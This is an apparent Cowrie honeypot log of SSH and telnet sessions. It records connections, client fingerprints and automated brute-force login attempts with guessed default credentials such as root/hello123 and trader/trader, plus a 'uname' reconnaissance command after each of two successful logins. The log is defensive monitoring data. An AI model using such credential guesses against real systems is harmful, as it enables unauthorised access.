{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:00.020601Z","src_ip":"45.156.87.254","session":"c5acc6f42a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.4900100231170654,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:00.640875Z","src_ip":"20.123.41.163","session":"9b964e476824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51606,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff564b6dc4f7","protocol":"ssh","message":"New connection: 45.156.87.254:51606 (159.203.135.109:22) [session: ff564b6dc4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:03.359619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:03.385768Z","src_ip":"45.156.87.254","session":"ff564b6dc4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:03.481715Z","src_ip":"45.156.87.254","session":"ff564b6dc4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.568887710571289,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:03.642874Z","src_ip":"104.245.105.2","session":"596ddd5a6e1f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:03.825164Z","src_ip":"45.156.87.254","session":"ff564b6dc4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":57164,"dst_ip":"10.17.0.5","dst_port":22,"session":"48fb7eecd158","protocol":"ssh","message":"New connection: 182.253.168.47:57164 (10.17.0.5:22) [session: 48fb7eecd158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:04.685962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:04.690921Z","src_ip":"182.253.168.47","session":"48fb7eecd158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:04.917667Z","src_ip":"45.156.87.254","session":"ff564b6dc4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:04.971374Z","src_ip":"182.253.168.47","session":"48fb7eecd158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"12345","message":"login attempt [testftp/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:06.121934Z","src_ip":"182.253.168.47","session":"48fb7eecd158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:07.407244Z","src_ip":"182.253.168.47","session":"48fb7eecd158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51616,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd69c288dfe0","protocol":"ssh","message":"New connection: 45.156.87.254:51616 (159.203.135.109:22) [session: fd69c288dfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:09.163131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:09.168720Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:09.252773Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:09.628009Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:09.839661Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:09.843383Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:10.136861Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:10.142394Z","src_ip":"45.156.87.254","session":"fd69c288dfe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.50045299530029,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:10.625922Z","src_ip":"20.123.41.163","session":"b07e42cbc508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":32892,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4fe3f797ac9","protocol":"ssh","message":"New connection: 45.156.87.254:32892 (159.203.135.109:22) [session: f4fe3f797ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:12.780795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:12.786152Z","src_ip":"45.156.87.254","session":"f4fe3f797ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:12.873824Z","src_ip":"45.156.87.254","session":"f4fe3f797ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:13.122345Z","src_ip":"45.156.87.254","session":"f4fe3f797ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:14.207950Z","src_ip":"45.156.87.254","session":"f4fe3f797ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":32904,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba2b7902ffff","protocol":"ssh","message":"New connection: 45.156.87.254:32904 (159.203.135.109:22) [session: ba2b7902ffff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:17.566125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:17.573385Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:17.669337Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:17.925518Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:18.142657Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:18.145792Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:18.234668Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:18.239901Z","src_ip":"45.156.87.254","session":"ba2b7902ffff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b785d7bfd8f","protocol":"ssh","message":"New connection: 45.156.87.254:60080 (159.203.135.109:22) [session: 3b785d7bfd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:22.813777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:22.818752Z","src_ip":"45.156.87.254","session":"3b785d7bfd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:22.903480Z","src_ip":"45.156.87.254","session":"3b785d7bfd8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:23.156856Z","src_ip":"45.156.87.254","session":"3b785d7bfd8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:24.297086Z","src_ip":"45.156.87.254","session":"3b785d7bfd8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.62497401237488,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:24.702931Z","src_ip":"104.245.105.2","session":"54b92db50a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.39856433868408,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:26.202706Z","src_ip":"20.123.41.163","session":"88ba38c2d5e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d213eb93e21a","protocol":"ssh","message":"New connection: 45.156.87.254:60096 (159.203.135.109:22) [session: d213eb93e21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:28.034220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:28.039552Z","src_ip":"45.156.87.254","session":"d213eb93e21a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:28.125107Z","src_ip":"45.156.87.254","session":"d213eb93e21a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:28.377746Z","src_ip":"45.156.87.254","session":"d213eb93e21a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:29.463253Z","src_ip":"45.156.87.254","session":"d213eb93e21a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38736,"dst_ip":"159.203.135.109","dst_port":22,"session":"27a24ccb1f2e","protocol":"ssh","message":"New connection: 45.156.87.254:38736 (159.203.135.109:22) [session: 27a24ccb1f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:32.896112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:32.900686Z","src_ip":"45.156.87.254","session":"27a24ccb1f2e","protocol":"ssh"}
